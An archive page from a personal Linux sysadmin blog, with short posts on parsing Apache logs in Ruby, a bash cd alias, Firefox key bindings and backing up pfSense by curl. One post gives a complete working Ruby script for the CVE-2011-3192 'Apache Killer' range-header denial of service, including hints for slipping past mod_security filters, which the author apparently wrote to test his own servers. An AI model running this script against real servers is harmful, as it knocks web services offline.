Archive for the ‘ Linux ’ Category

Parsing Apache logs with Ruby and Awk

I needed to find out where hits requesting a certain term were coming from, so I hacked this together in about 5 minutes and it did what I needed. The whole thing could be re-written using awk, but this is somewhat readable.

#!/usr/bin/env ruby
ips = Array.new

abort("Usage: ruby #{$0} [num-lines-to-read] [num-results] [search-term] [file]") unless ARGV[3]
ips = `tail -#{ARGV[0]} #{ARGV.last}| grep #{ARGV[2]} | awk '{freq[$1]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -#{ARGV[1]}`

ips.each do |ip|
  whois = `whois #{ip.split[1]} |grep -i country`
  puts "#{ip.split[0]} hits for IP: #{ip.split[1]} -> #{whois.split[1]}"
end

ls when you cd

Almost everyone I know types this without thinking anyway, so save your fingers and put this in your .bashrc:

cdd ()  {
    builtin cd "$*" && ls -lah
}
alias cd='cdd'

Unix socket support in W3 Total Cache

We needed to use W3 Total Cache at my company, but we needed it to work with Unix sockets for tighter permissions (while there are ways to get port-per-user restrictions in place, they are varying amounts of hackishness, all the way down to kernel patches). The simple patch is after the break.
Read more

CVE-2011-3192 (“Apache Killer”) Exploit in Ruby

Since I manage a metric *explitive*-ton of servers, the ApacheKiller vuln needed to get patched. A good mod_security rule or two can drop requests formed to exploit it (info after the break), but I wanted to make sure that modsec was actually catching these, so I wrote a little Ruby to help me out. I had to bust out Wireshark to analyse the HTTP HEAD request that the Perl proof-of-concept code was using, but it didn’t take long to figure out. I am fine with posting this here since the potential for abuse is low unless someone knows how to implement threading in Ruby, in which case this would be trivial to replicate anyway (plus the perl code already works fine for skript kiddies).

Notes:
- You need to pass in a valid URI, like http://localhost/ or whatever
- I fixed the number of ranges in the HTTP request because 1300 was too big for one request, and it’d just cause “bad request” errors.
- I fixed the lack of a “bytes=” prefix for all the ranges
- I added request-range in addition to just “range” to make it compatible with a wider range of httpds

Happy testing!

#!/usr/bin/env ruby

require 'net/http'
require 'uri'

# ensure that we're getting a first argument and that it's a valid URI
abort("You must specify a hostname as the first argument.") if ARGV.first.nil?
abort("Invalid URI") unless uri = URI.parse(ARGV.first)

# create our request object
req = Net::HTTP::Head.new(uri.request_uri)
http = Net::HTTP.new(uri.host, uri.port)

# set custom headers
# you might need to fiddle with these to get around your default modsec filters
req.delete("Accept")
req.delete("User-Agent")
#req.add_field("Pragma", "no-cache")
#req.add_field("connection", "close")
req.add_field("Host", uri.host)

# optional, add a valid User-Agent by uncommenting the line below.
# req.add_field('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2')

# add the custom range headers to our request object
# we're adding 1300 different ranges with offsets between 1 and 1300 just like the perl PoC

# need to start by saying "range: bytes="... before we add the rest. Same for request-range
req.add_field("range", "bytes=5-0")
req.add_field("request-range", "bytes=5-0")

500.times do
    req.add_field("range", "5-#{Random.rand(0..1300)}")
    req.add_field("request-range", "5-#{Random.rand(0..1300)}")
end

# get the response by making the request
# TODO: make this block easier to understand
res = http.request(req)

# print out our request and response
puts "Request: #{res.inspect}"
req.each do |key,value|
    puts "#{key}: #{value}"
end
puts "\n"
puts "Response: #{res.inspect}"
res.each do |key,value|
    puts "#{key}: #{value}"
end

Read more

Customize Firefox Keyboard Shortcuts

I’m a really big fan of CLI software, but sometimes you just need a GUI app, like a web browser (lynx would be so awesome if someone made a real-time image-to-ASCII-art converter plugin…I’ll work on that some day). I spend a lot of time in my gnome terminal (I use the awesome GNOME Shell) and the only keybinds I really need are:

  • Alt+Q – Previous Tab
  • Alt+W – Next Tab
  • Alt+Shift+Q – Move Tab Left
  • Alt+Shift+W – Move Tab Right

Using these, I feel every bit as efficient as when I used to use tiling WMs (I used to really like Awesome and wmii). However, Firefox lacks these shortcuts or the ability to customize them, and my fingers eventually got sick of the keyboard yoga required to tab around in Firefox (Ctrl+Tab / Ctrl+Shift+Tab by default). I knew there must be a better way, and I was right. The best part is that I didn’t even have to re-compile FF, which would have been ridiculous, but I’ve been known to do worse things in the name of making software work exactly like I need it to (one of the greatest parts of FOSS, IMO).

To pull off this hack, we’re going to grab the newest version of the KeyConfig Firefox extension. The version on the official Firefox add-ons site is a bit out of date and doesn’t work with FF6 properly. You might need to install Nightly Tester Tools and do the “override add-on compatibility” dance if you find that Firefox won’t let you install it.

Once you have that all set and have restarted Firefox, hit Ctrl+Shift+F12 to open up KeyConfig. We’re going to add two keys:

  1. name: Previous Tab, id: xxx_key1_Previous Tab, shortcut: Alt+Q, code:
    gBrowser.mTabContainer.advanceSelectedTab(-1, true);
    
  2. name: Previous Tab, id: xxx_key1_Next Tab, shortcut: Alt+W, code:
    gBrowser.mTabContainer.advanceSelectedTab(1, true);
    
  3. Then just apply and let dry. Try holding Alt and using “Q” or “W” to cycle through your tabs now! Amazing!

    If you want to mess with some different keys, you’ll probably want to dig through the latest browser2xul document and figure out what the actual code you need to pass to Firefox would be. Here is the one that I struck gold with. YMMV, and happy hacking!

Download pfSense XML configuration with a cURL one-liner

I really love pfSense (freebsd-based firewall distribution) for home and office routers. It takes whatever dusty old x86 box you have (pentium 3 or newer usually works fine [bonus points if you're using a nice Intel server NIC]) and turns it into a great router / gateway box.

We use pfSense at work, and I use it at home, as well as at my parents’ house. I run mine on a HP thin client with a PCI-E slot holding a nice two-port Intel Pro 1000MT card, and my dad gets an older thin client with just a PCI secondary NIC (which works great). These thin clients are available on eBay for usually less than $50. The HP I’m running was really a steal and I could upgrade it from a mobile chip to a real AMD Athlon if I wanted, but it’s fast enough as it is. (also, @sullrich , the lead developer for pfSense, is a great guy.)

Anyway, the hack I wanted to share today concerns automated backup lovers. I was originally planning on using the rubygem Watir to do this, but that’s totally overkill to just press a button on a page and save a file.
Without further ado, here is how to download the configuration from your pfsense box, assuming your pfsense box is at 10.0.0.1:

curl -d “Submit=Download%20configuration” –insecure https://admin:[email protected]/diag_backup.php > “my_awesome_pfSense_config_and_the_$(date)_probably.xml”

Page 1 of 612345...Last »